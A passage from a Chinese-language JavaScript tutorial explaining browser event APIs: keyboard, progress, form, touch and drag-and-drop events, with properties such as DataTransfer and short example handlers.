如果同时按下一个控制键和一个符号键，则返回符号键的键名。比如，按下 Ctrl + a，则返回`a`；按下 Shift + a，则返回大写的`A`。

如果无法识别键名，返回字符串`Unidentified`。

##### KeyboardEvent.location

`KeyboardEvent.location`属性返回一个整数，表示按下的键处在键盘的哪一个区域。它可能取以下值。

* 0：处在键盘的主区域，或者无法判断处于哪一个区域。
* 1：处在键盘的左侧，只适用那些有两个位置的键（比如 Ctrl 和 Shift 键）。
* 2：处在键盘的右侧，只适用那些有两个位置的键（比如 Ctrl 和 Shift 键）。
* 3：处在数字小键盘。

##### KeyboardEvent.repeat

`KeyboardEvent.repeat`返回一个布尔值，代表该键是否被按着不放，以便判断是否重复这个键，即浏览器会持续触发`keydown`和`keypress`事件，直到用户松开手为止。

#### 实例方法

##### KeyboardEvent.getModifierState()

`KeyboardEvent.getModifierState()`方法返回一个布尔值，表示是否按下或激活指定的功能键。它的常用参数如下。

* `Alt`：Alt 键
* `CapsLock`：大写锁定键
* `Control`：Ctrl 键
* `Meta`：Meta 键
* `NumLock`：数字键盘开关键
* `Shift`：Shift 键

```js
if (
  event.getModifierState('Control') +
  event.getModifierState('Alt') +
  event.getModifierState('Meta') > 1
) {
  return;
}
```

上面代码表示，只要`Control`、`Alt`、`Meta`里面，同时按下任意两个或两个以上的键就返回。

## 进度事件

### 事件种类

进度事件用来描述资源加载的进度，主要由 AJAX 请求、`<img>`、`<audio>`、`<video>`、`<style>`、`<link>`等外部资源的加载触发，继承了`ProgressEvent`接口。它主要包含以下几种事件。

* `abort`：外部资源中止加载时（比如用户取消）触发。如果发生错误导致中止，不会触发该事件。
* `error`：由于错误导致外部资源无法加载时触发。
* `load`：外部资源加载成功时触发。
* `loadstart`：外部资源开始加载时触发。
* `loadend`：外部资源停止加载时触发，发生顺序排在`error`、`abort`、`load`等事件的后面。
* `progress`：外部资源加载过程中不断触发。
* `timeout`：加载超时时触发。

注意，除了资源下载，文件上传也存在这些事件。

下面是一个例子。

```js
image.addEventListener('load', function (event) {
  image.classList.add('finished');
});

image.addEventListener('error', function (event) {
  image.style.display = 'none';
});
```

上面代码在图片元素加载完成后，为图片元素添加一个`finished`的 Class。如果加载失败，就把图片元素的样式设置为不显示。

有时候，图片加载会在脚本运行之前就完成，尤其是当脚本放置在网页底部的时候，因此有可能`load`和`error`事件的监听函数根本不会执行。所以，比较可靠的方式，是用`complete`属性先判断一下是否加载完成。

```js
function loaded() {
  // ...
}

if (image.complete) {
  loaded();
} else {
  image.addEventListener('load', loaded);
}
```

由于 DOM 的元素节点没有提供是否加载错误的属性，所以`error`事件的监听函数最好放在`<img>`元素的 HTML 代码中，这样才能保证发生加载错误时百分之百会执行。

```html
<img src="/wrong/url" onerror="this.style.display='none';" />
```

`loadend`事件的监听函数，可以用来取代`abort`事件、`load`事件、`error`事件的监听函数，因为它总是在这些事件之后发生。

```js
req.addEventListener('loadend', loadEnd, false);

function loadEnd(e) {
  console.log('传输结束，成功失败未知');
}
```

`loadend`事件本身不提供关于进度结束的原因，但可以用它来做所有加载结束场景都需要做的一些操作。

另外，`error`事件有一个特殊的性质，就是不会冒泡。所以，子元素的`error`事件，不会触发父元素的`error`事件监听函数。

### ProgressEvent 接口

`ProgressEvent`接口主要用来描述外部资源加载的进度，比如 AJAX 加载、`<img>`、`<video>`、`<style>`、`<link>`等外部资源加载。进度相关的事件都继承了这个接口。

浏览器原生提供了`ProgressEvent()`构造函数，用来生成事件实例。

```js
new ProgressEvent(type, options)
```

`ProgressEvent()`构造函数接受两个参数。第一个参数是字符串，表示事件的类型，这个参数是必须的。第二个参数是一个配置对象，表示事件的属性，该参数可选。配置对象除了可以使用`Event`接口的配置属性，还可以使用下面的属性，所有这些属性都是可选的。

* `lengthComputable`：布尔值，表示加载的总量是否可以计算，默认是`false`。
* `loaded`：整数，表示已经加载的量，默认是`0`。
* `total`：整数，表示需要加载的总量，默认是`0`。

`ProgressEvent`具有对应的实例属性。

* `ProgressEvent.lengthComputable`
* `ProgressEvent.loaded`
* `ProgressEvent.total`

如果`ProgressEvent.lengthComputable`为`false`，`ProgressEvent.total`实际上是没有意义的。

下面是一个例子。

```js
var p = new ProgressEvent('load', {
  lengthComputable: true,
  loaded: 30,
  total: 100,
});

document.body.addEventListener('load', function (e) {
  console.log('已经加载：' + (e.loaded / e.total) * 100 + '%');
});

document.body.dispatchEvent(p);
// 已经加载：30%
```

上面代码先构造一个`load`事件，抛出后被监听函数捕捉到。

下面是一个实际的例子。

```js
var xhr = new XMLHttpRequest();

xhr.addEventListener('progress', updateProgress, false);
xhr.addEventListener('load', transferComplete, false);
xhr.addEventListener('error', transferFailed, false);
xhr.addEventListener('abort', transferCanceled, false);

xhr.open();

function updateProgress(e) {
  if (e.lengthComputable) {
    var percentComplete = e.loaded / e.total;
  } else {
    console.log('不能计算进度');
  }
}

function transferComplete(e) {
  console.log('传输结束');
}

function transferFailed(evt) {
  console.log('传输过程中发生错误');
}

function transferCanceled(evt) {
  console.log('用户取消了传输');
}
```

上面是下载过程的进度事件，还存在上传过程的进度事件。这时所有监听函数都要放在`XMLHttpRequest.upload`对象上面。

```js
var xhr = new XMLHttpRequest();

xhr.upload.addEventListener('progress', updateProgress, false);
xhr.upload.addEventListener('load', transferComplete, false);
xhr.upload.addEventListener('error', transferFailed, false);
xhr.upload.addEventListener('abort', transferCanceled, false);

xhr.open();
```

## 表单事件

### 事件种类

#### input 事件

`input`事件当`<input>`、`<select>`、`<textarea>`的值发生变化时触发。对于复选框（`<input type=checkbox>`）或单选框（`<input type=radio>`），用户改变选项时，也会触发这个事件。另外，对于打开`contenteditable`属性的元素，只要值发生变化，也会触发`input`事件。

`input`事件的一个特点，就是会连续触发，比如用户每按下一次按键，就会触发一次`input`事件。

`input`事件对象继承了`InputEvent`接口。

该事件跟`change`事件很像，不同之处在于`input`事件在元素的值发生变化后立即发生，而`change`在元素失去焦点时发生，而内容此时可能已经变化多次。也就是说，如果有连续变化，`input`事件会触发多次，而`change`事件只在失去焦点时触发一次。

下面是`<select>`元素的例子。

```js
/* HTML 代码如下
<select id="mySelect">
  <option value="1">1</option>
  <option value="2">2</option>
  <option value="3">3</option>
</select>
*/

function inputHandler(e) {
  console.log(e.target.value)
}

var mySelect = document.querySelector('#mySelect');
mySelect.addEventListener('input', inputHandler);
```

上面代码中，改变下拉框选项时，会触发`input`事件，从而执行回调函数`inputHandler`。

#### select 事件

`select`事件当在`<input>`、`<textarea>`里面选中文本时触发。

```js
// HTML 代码如下
// <input id="test" type="text" value="Select me!" />

var elem = document.getElementById('test');
elem.addEventListener('select', function (e) {
  console.log(e.type); // "select"
}, false);
```

选中的文本可以通过`event.target`元素的`selectionDirection`、`selectionEnd`、`selectionStart`和`value`属性拿到。

#### change 事件

`change`事件当`<input>`、`<select>`、`<textarea>`的值发生变化时触发。它与`input`事件的最大不同，就是不会连续触发，只有当全部修改完成时才会触发，另一方面`input`事件必然伴随`change`事件。具体来说，分成以下几种情况。

* 激活单选框（radio）或复选框（checkbox）时触发。
* 用户提交时触发。比如，从下列列表（select）完成选择，在日期或文件输入框完成选择。
* 当文本框或`<textarea>`元素的值发生改变，并且丧失焦点时触发。

下面是一个例子。

```js
// HTML 代码如下
// <select size="1" onchange="changeEventHandler(event);">
//   <option>chocolate</option>
//   <option>strawberry</option>
//   <option>vanilla</option>
// </select>

function changeEventHandler(event) {
  console.log(event.target.value);
}
```

如果比较一下上面`input`事件的例子，你会发现对于`<select>`元素来说，`input`和`change`事件基本是等价的。

#### invalid 事件

用户提交表单时，如果表单元素的值不满足校验条件，就会触发`invalid`事件。

```html
<form>
  <input type="text" required oninvalid="console.log('invalid input')" />
  <button type="submit">提交</button>
</form>
```

上面代码中，输入框是必填的。如果不填，用户点击按钮提交时，就会触发输入框的`invalid`事件，导致提交被取消。

#### reset 事件

#### submit 事件

这两个事件发生在表单对象`<form>`上，而不是发生在表单的成员上。

`reset`事件当表单重置（所有表单成员变回默认值）时触发。

`submit`事件当表单数据向服务器提交时触发。注意，`submit`事件的发生对象是`<form>`元素，而不是`<button>`元素，因为提交的是表单，而不是按钮。

#### InputEvent 接口

`InputEvent`接口主要用来描述`input`事件的实例。该接口继承了`Event`接口，还定义了一些自己的实例属性和实例方法。

浏览器原生提供`InputEvent()`构造函数，用来生成实例对象。

```js
new InputEvent(type, options)
```

`InputEvent`构造函数可以接受两个参数。第一个参数是字符串，表示事件名称，该参数是必需的。第二个参数是一个配置对象，用来设置事件实例的属性，该参数是可选的。配置对象的字段除了`Event`构造函数的配置属性，还可以设置下面的字段，这些字段都是可选的。

* `inputType`：字符串，表示发生变更的类型。
* `data`：字符串，表示插入的字符串。如果没有插入的字符串（比如删除操作），则返回`null`或空字符串。
* `dataTransfer`：返回一个 DataTransfer 对象实例，该属性通常只在输入框接受富文本输入时有效。

`InputEvent`的实例属性主要就是上面三个属性，这三个实例属性都是只读的。

##### InputEvent.data

`InputEvent.data`属性返回一个字符串，表示变动的内容。

```js
// HTML 代码如下
// <input type="text" id="myInput">
var input = document.getElementById('myInput');
input.addEventListener('input', myFunction, false);

function myFunction(e) {
  console.log(e.data);
}
```

上面代码中，如果手动在输入框里面输入`abc`，控制台会先输出`a`，再在下一行输出`b`，再在下一行输出`c`。然后选中`abc`，一次性将它们删除，控制台会输出`null`或一个空字符串。

##### InputEvent.inputType

`InputEvent.inputType`属性返回一个字符串，表示字符串发生变更的类型。

对于常见情况，Chrome 浏览器的返回值如下。完整列表可以参考[文档](https://w3c.github.io/input-events/index.html#dom-inputevent-inputtype)。

* 手动插入文本：`insertText`
* 粘贴插入文本：`insertFromPaste`
* 向后删除：`deleteContentBackward`
* 向前删除：`deleteContentForward`

##### InputEvent.dataTransfer

`InputEvent.dataTransfer`属性返回一个 DataTransfer 实例。该属性只在文本框接受粘贴内容（insertFromPaste）或拖拽内容（`insertFromDrop`）时才有效。

## 触摸事件

浏览器的触摸 API 由三个部分组成。

* Touch：一个触摸点
* TouchList：多个触摸点的集合
* TouchEvent：触摸引发的事件实例

`Touch`接口的实例对象用来表示触摸点（一根手指或者一根触摸笔），包括位置、大小、形状、压力、目标元素等属性。有时，触摸动作由多个触摸点（多根手指）组成，多个触摸点的集合由`TouchList`接口的实例对象表示。`TouchEvent`接口的实例对象代表由触摸引发的事件，只有触摸屏才会引发这一类事件。

很多时候，触摸事件和鼠标事件同时触发，即使这个时候并没有用到鼠标。这是为了让那些只定义鼠标事件、没有定义触摸事件的代码，在触摸屏的情况下仍然能用。如果想避免这种情况，可以用`event.preventDefault`方法阻止发出鼠标事件。

### Touch 接口

Touch 接口代表单个触摸点。触摸点可能是一根手指，也可能是一根触摸笔。

浏览器原生提供`Touch`构造函数，用来生成`Touch`实例。

```js
var touch = new Touch(touchOptions);
```

`Touch`构造函数接受一个配置对象作为参数，它有以下属性。

* `identifier`：必需，类型为整数，表示触摸点的唯一 ID。
* `target`：必需，类型为元素节点，表示触摸点开始时所在的网页元素。
* `clientX`：可选，类型为数值，表示触摸点相对于浏览器窗口左上角的水平距离，默认为0。
* `clientY`：可选，类型为数值，表示触摸点相对于浏览器窗口左上角的垂直距离，默认为0。
* `screenX`：可选，类型为数值，表示触摸点相对于屏幕左上角的水平距离，默认为0。
* `screenY`：可选，类型为数值，表示触摸点相对于屏幕左上角的垂直距离，默认为0。
* `pageX`：可选，类型为数值，表示触摸点相对于网页左上角的水平位置（即包括页面的滚动距离），默认为0。
* `pageY`：可选，类型为数值，表示触摸点相对于网页左上角的垂直位置（即包括页面的滚动距离），默认为0。
* `radiusX`：可选，类型为数值，表示触摸点周围受到影响的椭圆范围的 X 轴半径，默认为0。
* `radiusY`：可选：类型为数值，表示触摸点周围受到影响的椭圆范围的 Y 轴半径，默认为0。
* `rotationAngle`：可选，类型为数值，表示触摸区域的椭圆的旋转角度，单位为度数，在0到90度之间，默认值为0。
* `force`：可选，类型为数值，范围在`0`到`1`之间，表示触摸压力。`0`代表没有压力，`1`代表硬件所能识别的最大压力，默认为`0`。

#### 实例属性

##### Touch.identifier

`Touch.identifier`属性返回一个整数，表示触摸点的唯一 ID。这个值在整个触摸过程保持不变，直到触摸事件结束。

```js
someElement.addEventListener('touchmove', function (e) {
  for (var i = 0; i < e.changedTouches.length; i++) {
    console.log(e.changedTouches[i].identifier);
  }
}, false);
```

##### Touch.screenX

##### Touch.screenY

##### Touch.clientX

##### Touch.clientY

##### pageX

##### pageY

`Touch.screenX`属性和`Touch.screenY`属性，分别表示触摸点相对于屏幕左上角的横坐标和纵坐标，与页面是否滚动无关。

`Touch.clientX`属性和`Touch.clientY`属性，分别表示触摸点相对于浏览器视口左上角的横坐标和纵坐标，与页面是否滚动无关。

`Touch.pageX`属性和`Touch.pageY`属性，分别表示触摸点相对于当前页面左上角的横坐标和纵坐标，**包含了页面滚动带来的位移**。

##### Touch.radiusX

##### Touch.radiusY

##### Touch.rotationAngle

`Touch.radiusX`属性和`Touch.radiusY`属性，分别返回触摸点周围受到影响的椭圆范围的 X 轴半径和 Y 轴半径，单位为像素。乘以 2 就可以得到触摸范围的宽度和高度。

`Touch.rotationAngle`属性表示触摸区域的椭圆的旋转角度，单位为度数，在`0`到`90`度之间。

上面这三个属性共同定义了用户与屏幕接触的区域，对于描述手指这一类非精确的触摸，很有帮助。指尖接触屏幕，触摸范围会形成一个椭圆，这三个属性就用来描述这个椭圆区域。

下面是一个示例。

```js
div.addEventListener('touchstart', rotate);
div.addEventListener('touchmove', rotate);
div.addEventListener('touchend', rotate);

function rotate(e) {
  var touch = e.changedTouches.item(0);
  e.preventDefault();

  src.style.width = touch.radiusX * 2 + 'px';
  src.style.height = touch.radiusY * 2 + 'px';
  src.style.transform = 'rotate(' + touch.rotationAngle + 'deg)';
};
```

##### Touch.force

`Touch.force`属性返回一个`0`到`1`之间的数值，表示触摸压力。`0`代表没有压力，`1`代表硬件所能识别的最大压力。

##### Touch.target

`Touch.target`属性返回一个元素节点，代表触摸发生时所在的那个元素节点。即使触摸点已经离开了这个节点，该属性依然不变。

### TouchList 接口

`TouchList`接口表示一组触摸点的集合。它的实例是一个类似数组的对象，成员是`Touch`的实例对象，表示所有触摸点。用户用三根手指触摸，产生的`TouchList`实例就会包含三个成员，每根手指的触摸点对应一个`Touch`实例对象。

它的实例主要通过触摸事件的`TouchEvent.touches`、`TouchEvent.changedTouches`、`TouchEvent.targetTouches`这几个属性获取。

它的实例属性和实例方法只有两个。

* `TouchList.length`：数值，表示成员数量（即触摸点的数量）。
* `TouchList.item()`：返回指定位置的成员，它的参数是该成员的位置编号（从零开始）。

### TouchEvent 接口

TouchEvent 接口继承了 Event 接口，表示由触摸引发的事件实例，通常来自触摸屏或轨迹板。除了被继承的属性以外，它还有一些自己的属性。

浏览器原生提供`TouchEvent()`构造函数，用来生成触摸事件的实例。

```js
new TouchEvent(type, options)
```

`TouchEvent()`构造函数可以接受两个参数，第一个参数是字符串，表示事件类型；第二个参数是事件的配置对象，该参数是可选的，对象的所有属性也是可选的。除了`Event`接口的配置属性，该接口还有一些自己的配置属性。

* `touches`：`TouchList`实例，代表所有的当前处于活跃状态的触摸点，默认值是一个空数组`[]`。
* `targetTouches`：`TouchList`实例，代表所有处在触摸的目标元素节点内部、且仍然处于活动状态的触摸点，默认值是一个空数组`[]`。
* `changedTouches`：`TouchList`实例，代表本次触摸事件的相关触摸点，默认值是一个空数组`[]`。
* `ctrlKey`：布尔值，表示 Ctrl 键是否同时按下，默认值为`false`。
* `shiftKey`：布尔值，表示 Shift 键是否同时按下，默认值为`false`。
* `altKey`：布尔值，表示 Alt 键是否同时按下，默认值为`false`。
* `metaKey`：布尔值，表示 Meta 键（或 Windows 键）是否同时按下，默认值为`false`。

#### 实例属性

TouchEvent 接口的实例具有`Event`实例的所有属性和方法，此外还有一些它自己的实例属性，这些属性全部都是只读。

##### TouchEvent.altKey

##### TouchEvent.ctrlKey

##### TouchEvent.shiftKey

##### TouchEvent.metaKey

* `TouchEvent.altKey`：布尔值，表示触摸时是否按下了 Alt 键。
* `TouchEvent.ctrlKey`：布尔值，表示触摸时是否按下了 Ctrl 键。
* `TouchEvent.shiftKey`：布尔值：表示触摸时是否按下了 Shift 键。
* `TouchEvent.metaKey`：布尔值，表示触摸时是否按下了 Meta 键（或 Windows 键）。

下面是一个示例。

```js
someElement.addEventListener('touchstart', function (e) {
  console.log('altKey = ' + e.altKey);
  console.log('ctrlKey = ' + e.ctrlKey);
  console.log('metaKey = ' + e.metaKey);
  console.log('shiftKey = ' + e.shiftKey);
}, false);
```

##### TouchEvent.changedTouches

`TouchEvent.changedTouches`属性返回一个`TouchList`实例，成员是一组`Touch`实例对象，表示本次触摸事件的相关触摸点。

对于不同的时间，该属性的含义有所不同。

* `touchstart`事件：被激活的触摸点
* `touchmove`事件：发生变化的触摸点
* `touchend`事件：消失的触摸点（即不再被触碰的点）

下面是一个示例。

```js
someElement.addEventListener('touchmove', function (e) {
  for (var i = 0; i < e.changedTouches.length; i++) {
    console.log(e.changedTouches[i].identifier);
  }
}, false);
```

##### TouchEvent.touches

`TouchEvent.touches`属性返回一个`TouchList`实例，成员是所有仍然处于活动状态（即触摸中）的触摸点。一般来说，一个手指就是一个触摸点。

下面是一个示例。

```js
someElement.addEventListener('touchstart', function (e) {
  switch (e.touches.length) {
    // 一根手指触摸
    case 1: handle_one_touch(e); break;
    // 两根手指触摸
    case 2: handle_two_touches(e); break;
    // 三根手指触摸
    case 3: handle_three_touches(e); break;
    // 其他情况
    default: console.log('Not supported'); break;
  }
}, false);
```

##### TouchEvent.targetTouches

`TouchEvent.targetTouches`属性返回一个`TouchList`实例，成员是触摸事件的目标元素节点内部、所有仍然处于活动状态（即触摸中）的触摸点。

```js
function touches_in_target(ev) {
  return (ev.touches.length === ev.targetTouches.length ? true : false);
}
```

上面代码用来判断，是否所有触摸点都在目标元素内。

### 事件种类

触摸引发的事件，有以下几种。可以通过`TouchEvent.type`属性，查看到底发生的是哪一种事件。

* `touchstart`：用户开始触摸时触发，它的`target`属性返回发生触摸的元素节点。
* `touchend`：用户不再接触触摸屏时（或者移出屏幕边缘时）触发，它的`target`属性与`touchstart`事件一致的，就是开始触摸时所在的元素节点。它的`changedTouches`属性返回一个`TouchList`实例，包含所有不再触摸的触摸点（即`Touch`实例对象）。
* `touchmove`：用户移动触摸点时触发，它的`target`属性与`touchstart`事件一致。如果触摸的半径、角度、力度发生变化，也会触发该事件。
* `touchcancel`：触摸点取消时触发，比如在触摸区域跳出一个模态窗口（modal window）、触摸点离开了文档区域（进入浏览器菜单栏）、用户的触摸点太多，超过了支持的上限（自动取消早先的触摸点）。

下面是一个例子。

```js
var el = document.getElementsByTagName('canvas')[0];
el.addEventListener('touchstart', handleStart, false);
el.addEventListener('touchmove', handleMove, false);

function handleStart(evt) {
  evt.preventDefault();
  var touches = evt.changedTouches;
  for (var i = 0; i < touches.length; i++) {
    console.log(touches[i].pageX, touches[i].pageY);
  }
}

function handleMove(evt) {
  evt.preventDefault();
  var touches = evt.changedTouches;
  for (var i = 0; i < touches.length; i++) {
    var touch = touches[i];
    console.log(touch.pageX, touch.pageY);
  }
}
```

## 拖拉事件

### 事件种类

拖拉（drag）指的是，用户在某个对象上按下鼠标键不放，拖动它到另一个位置，然后释放鼠标键，将该对象放在那里。

拖拉的对象有好几种，包括元素节点、图片、链接、选中的文字等等。在网页中，除了元素节点默认不可以拖拉，其他（图片、链接、选中的文字）都可以直接拖拉。为了让元素节点可拖拉，可以将该节点的`draggable`属性设为`true`。

```html
<div draggable="true">
  此区域可拖拉
</div>
```

上面代码的`div`区块，在网页中可以直接用鼠标拖动。松开鼠标键时，拖动效果就会消失，该区块依然在原来的位置。

`draggable`属性可用于任何元素节点，但是图片（`<img>`）和链接（`<a>`）不加这个属性，就可以拖拉。对于它们，用到这个属性的时候，往往是将其设为`false`，防止拖拉这两种元素。

注意，一旦某个元素节点的`draggable`属性设为`true`，就无法再用鼠标选中该节点内部的文字或子节点了。

当元素节点或选中的文本被拖拉时，就会持续触发拖拉事件，包括以下一些事件。

* `drag`：拖拉过程中，在被拖拉的节点上持续触发（相隔几百毫秒）。
* `dragstart`：用户开始拖拉时，在被拖拉的节点上触发，该事件的`target`属性是被拖拉的节点。通常应该在这个事件的监听函数中，指定拖拉的数据。
* `dragend`：拖拉结束时（释放鼠标键或按下 ESC 键）在被拖拉的节点上触发，该事件的`target`属性是被拖拉的节点。它与`dragstart`事件，在同一个节点上触发。不管拖拉是否跨窗口，或者中途被取消，`dragend`事件总是会触发的。
* `dragenter`：拖拉进入当前节点时，在当前节点上触发一次，该事件的`target`属性是当前节点。通常应该在这个事件的监听函数中，指定是否允许在当前节点放下（drop）拖拉的数据。如果当前节点没有该事件的监听函数，或者监听函数不执行任何操作，就意味着不允许在当前节点放下数据。在视觉上显示拖拉进入当前节点，也是在这个事件的监听函数中设置。
* `dragover`：拖拉到当前节点上方时，在当前节点上持续触发（相隔几百毫秒），该事件的`target`属性是当前节点。该事件与`dragenter`事件的区别是，`dragenter`事件在进入该节点时触发，然后只要没有离开这个节点，`dragover`事件会持续触发。
* `dragleave`：拖拉操作离开当前节点范围时，在当前节点上触发，该事件的`target`属性是当前节点。如果要在视觉上显示拖拉离开操作当前节点，就在这个事件的监听函数中设置。
* `drop`：被拖拉的节点或选中的文本，释放到目标节点时，在目标节点上触发。注意，如果当前节点不允许`drop`，即使在该节点上方松开鼠标键，也不会触发该事件。如果用户按下 ESC 键，取消这个操作，也不会触发该事件。该事件的监听函数负责取出拖拉数据，并进行相关处理。

下面的例子展示，如何动态改变被拖动节点的背景色。

```js
div.addEventListener('dragstart', function (e) {
  this.style.backgroundColor = 'red';
}, false);

div.addEventListener('dragend', function (e) {
  this.style.backgroundColor = 'green';
}, false);
```

上面代码中，`div`节点被拖动时，背景色会变为红色，拖动结束，又变回绿色。

下面是一个例子，展示如何实现将一个节点从当前父节点，拖拉到另一个父节点中。

```js
/* HTML 代码如下
 <div class="dropzone">
   <div id="draggable" draggable="true">
     该节点可拖拉
   </div>
 </div>
 <div class="dropzone"></div>
 <div class="dropzone"></div>
 <div class="dropzone"></div>
*/

// 被拖拉节点
var dragged;

document.addEventListener('dragstart', function (event) {
  // 保存被拖拉节点
  dragged = event.target;
  // 被拖拉节点的背景色变透明
  event.target.style.opacity = 0.5;
}, false);

document.addEventListener('dragend', function (event) {
  // 被拖拉节点的背景色恢复正常
  event.target.style.opacity = '';
}, false);

document.addEventListener('dragover', function (event) {
  // 防止拖拉效果被重置，允许被拖拉的节点放入目标节点
  event.preventDefault();
}, false);

document.addEventListener('dragenter', function (event) {
  // 目标节点的背景色变紫色
  // 由于该事件会冒泡，所以要过滤节点
  if (event.target.className === 'dropzone') {
    event.target.style.background = 'purple';
  }
}, false);

document.addEventListener('dragleave', function( event ) {
  // 目标节点的背景色恢复原样
  if (event.target.className === 'dropzone') {
    event.target.style.background = '';
  }
}, false);

document.addEventListener('drop', function( event ) {
  // 防止事件默认行为（比如某些元素节点上可以打开链接），
  event.preventDefault();
  if (event.target.className === 'dropzone') {
    // 恢复目标节点背景色
    event.target.style.background = '';
    // 将被拖拉节点插入目标节点
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild( dragged );
  }
}, false);
```

关于拖拉事件，有以下几个注意点。

* 拖拉过程只触发以上这些拖拉事件，尽管鼠标在移动，但是鼠标事件不会触发。
* 将文件从操作系统拖拉进浏览器，不会触发`dragstart`和`dragend`事件。
* `dragenter`和`dragover`事件的监听函数，用来取出拖拉的数据（即允许放下被拖拉的元素）。**由于网页的大部分区域不适合作为放下拖拉元素的目标节点，所以这两个事件的默认设置为当前节点不允许接受被拖拉的元素。如果想要在目标节点上放下的数据，首先必须阻止这两个事件的默认行为**。

```html
<div ondragover="return false">
<div ondragover="event.preventDefault()">
```

上面代码中，如果不取消拖拉事件或者阻止默认行为，就不能在`div`节点上放下被拖拉的节点。

### DragEvent 接口

拖拉事件都继承了`DragEvent`接口，这个接口又继承了`MouseEvent`接口和`Event`接口。

浏览器原生提供一个`DragEvent()`构造函数，用来生成拖拉事件的实例对象。

```js
new DragEvent(type, options)
```

`DragEvent()`构造函数接受两个参数，第一个参数是字符串，表示事件的类型，该参数必须；第二个参数是事件的配置对象，用来设置事件的属性，该参数可选。配置对象除了接受`MouseEvent`接口和`Event`接口的配置属性，还可以设置`dataTransfer`属性要么是`null`，要么是一个`DataTransfer`接口的实例。

`DataTransfer`的实例对象用来读写拖拉事件中传输的数据。

### DataTransfer 接口

所有拖拉事件的实例都有一个`DragEvent.dataTransfer`属性，用来读写需要传递的数据。这个属性的值是一个`DataTransfer`接口的实例。

浏览器原生提供一个`DataTransfer()`构造函数，用来生成`DataTransfer`实例对象。

```js
var dataTrans = new DataTransfer();
```

`DataTransfer()`构造函数不接受参数。

拖拉的数据分成两方面：数据的种类（又称格式）和数据的值。数据的种类是一个 MIME 字符串（比如`text/plain`、`image/jpeg`），数据的值是一个字符串。一般来说，如果拖拉一段文本，则数据默认就是那段文本；如果拖拉一个链接，则数据默认就是链接的 URL。

拖拉事件开始时，开发者可以提供数据类型和数据值。拖拉过程中，开发者通过`dragenter`和`dragover`事件的监听函数，检查数据类型，以确定是否允许放下（drop）被拖拉的对象。比如，在只允许放下链接的区域，检查拖拉的数据类型是否为`text/uri-list`。

发生`drop`事件时，监听函数取出拖拉的数据，对其进行处理。

#### 实例属性

##### DataTransfer.dropEffect

`DataTransfer.dropEffect`属性用来设置放下（drop）被拖拉节点时的效果，会影响到拖拉经过相关区域时鼠标的形状。它可能取下面的值。

* copy：复制被拖拉的节点
* move：移动被拖拉的节点
* link：创建指向被拖拉的节点的链接
* none：无法放下被拖拉的节点

除了上面这些值，设置其他的值都是无效的。

```js
target.addEventListener('dragover', function (e) {
  e.preventDefault();
  e.stopPropagation();
  e.dataTransfer.dropEffect = 'copy';
});
```

上面代码中，被拖拉元素一旦`drop`，接受的区域会复制该节点。

`dropEffect`属性一般在`dragenter`和`dragover`事件的监听函数中设置，对于`dragstart`、`drag`、`dragleave`这三个事件，该属性不起作用。因为该属性只对接受被拖拉的节点的区域有效，对被拖拉的节点本身是无效的。进入目标区域后，拖拉行为会初始化成设定的效果。

##### DataTransfer.effectAllowed

`DataTransfer.effectAllowed`属性设置本次拖拉中允许的效果。它可能取下面的值。

* copy：复制被拖拉的节点
* move：移动被拖拉的节点
* link：创建指向被拖拉节点的链接
* copyLink：允许`copy`或`link`
* copyMove：允许`copy`或`move`
* linkMove：允许`link`或`move`
* all：允许所有效果
* none：无法放下被拖拉的节点
* uninitialized：默认值，等同于`all`

如果某种效果是不允许的，用户就无法在目标节点中达成这种效果。

这个属性与`dropEffect`属性是同一件事的两个方面。前者设置被拖拉的节点允许的效果，后者设置接受拖拉的区域的效果，它们往往配合使用。

`dragstart`事件的监听函数，可以用来设置这个属性。其他事件的监听函数里面设置这个属性是无效的。

```js
source.addEventListener('dragstart', function (e) {
  e.dataTransfer.effectAllowed = 'move';
});

target.addEventListener('dragover', function (e) {
  e.dataTransfer.dropEffect = 'move';
});
```

只要`dropEffect`属性和`effectAllowed`属性之中，有一个为`none`，就无法在目标节点上完成`drop`操作。

##### DataTransfer.files

`DataTransfer.files`属性是一个 FileList 对象，包含一组本地文件，可以用来在拖拉操作中传送。如果本次拖拉不涉及文件，则该属性为空的 FileList 对象。

下面就是一个接收拖拉文件的例子。

```js
// HTML 代码如下
// <div id="output" style="min-height: 200px;border: 1px solid black;">
//   文件拖拉到这里
// </div>

var div = document.getElementById('output');

div.addEventListener("dragenter", function( event ) {
  div.textContent = '';
  event.stopPropagation();
  event.preventDefault();
}, false);

div.addEventListener("dragover", function( event ) {
  event.stopPropagation();
  event.preventDefault();
}, false);

div.addEventListener("drop", function( event ) {
  event.stopPropagation();
  event.preventDefault();
  var files = event.dataTransfer.files;
  for (var i = 0; i < files.length; i++) {
    div.textContent += files[i].name + ' ' + files[i].size + '字节\n';
  }
}, false);
```

上面代码中，通过`dataTransfer.files`属性读取被拖拉的文件的信息。如果想要读取文件内容，就要使用`FileReader`对象。

```js
div.addEventListener('drop', function(e) {
  e.preventDefault();
  e.stopPropagation();

  var fileList = e.dataTransfer.files;
  if (fileList.length > 0) {
    var file = fileList[0];
    var reader = new FileReader();
    reader.onloadend = function(e) {
      if (e.target.readyState === FileReader.DONE) {
        var content = reader.result;
        div.innerHTML = 'File: ' + file.name + '\n\n' + content;
      }
    }
    reader.readAsBinaryString(file);
  }
});
```

##### DataTransfer.types

`DataTransfer.types`属性是一个只读的数组，每个成员是一个字符串，里面是拖拉的数据格式（通常是 MIME 值）。比如，如果拖拉的是文字，对应的成员就是`text/plain`。

下面是一个例子，通过检查`dataTransfer`属性的类型，决定是否允许在当前节点执行`drop`操作。

```js
function contains(list, value){
  for (var i = 0; i < list.length; ++i) {
    if(list[i] === value) return true;
  }
  return false;
}

function doDragOver(event) {
  var isLink = contains(event.dataTransfer.types, 'text/uri-list');
  if (isLink) event.preventDefault();
}
```

上面代码中，只有当被拖拉的节点有一个是链接时，才允许在当前节点放下。

##### DataTransfer.items

`DataTransfer.items`属性返回一个类似数组的只读对象（DataTransferItemList 实例），每个成员就是本次拖拉的一个对象（DataTransferItem 实例）。如果本次拖拉不包含对象，则返回一个空对象。

DataTransferItemList 实例具有以下的属性和方法。

* `length`：返回成员的数量
* `add(data, type)`：增加一个指定内容和类型（比如`text/html`和`text/plain`）的字符串作为成员
* `add(file)`：`add`方法的另一种用法，增加一个文件作为成员
* `remove(index)`：移除指定位置的成员
* `clear()`：移除所有的成员

DataTransferItem 实例具有以下的属性和方法。

* `kind`：返回成员的种类（`string`还是`file`）。
* `type`：返回成员的类型（通常是 MIME 值）。
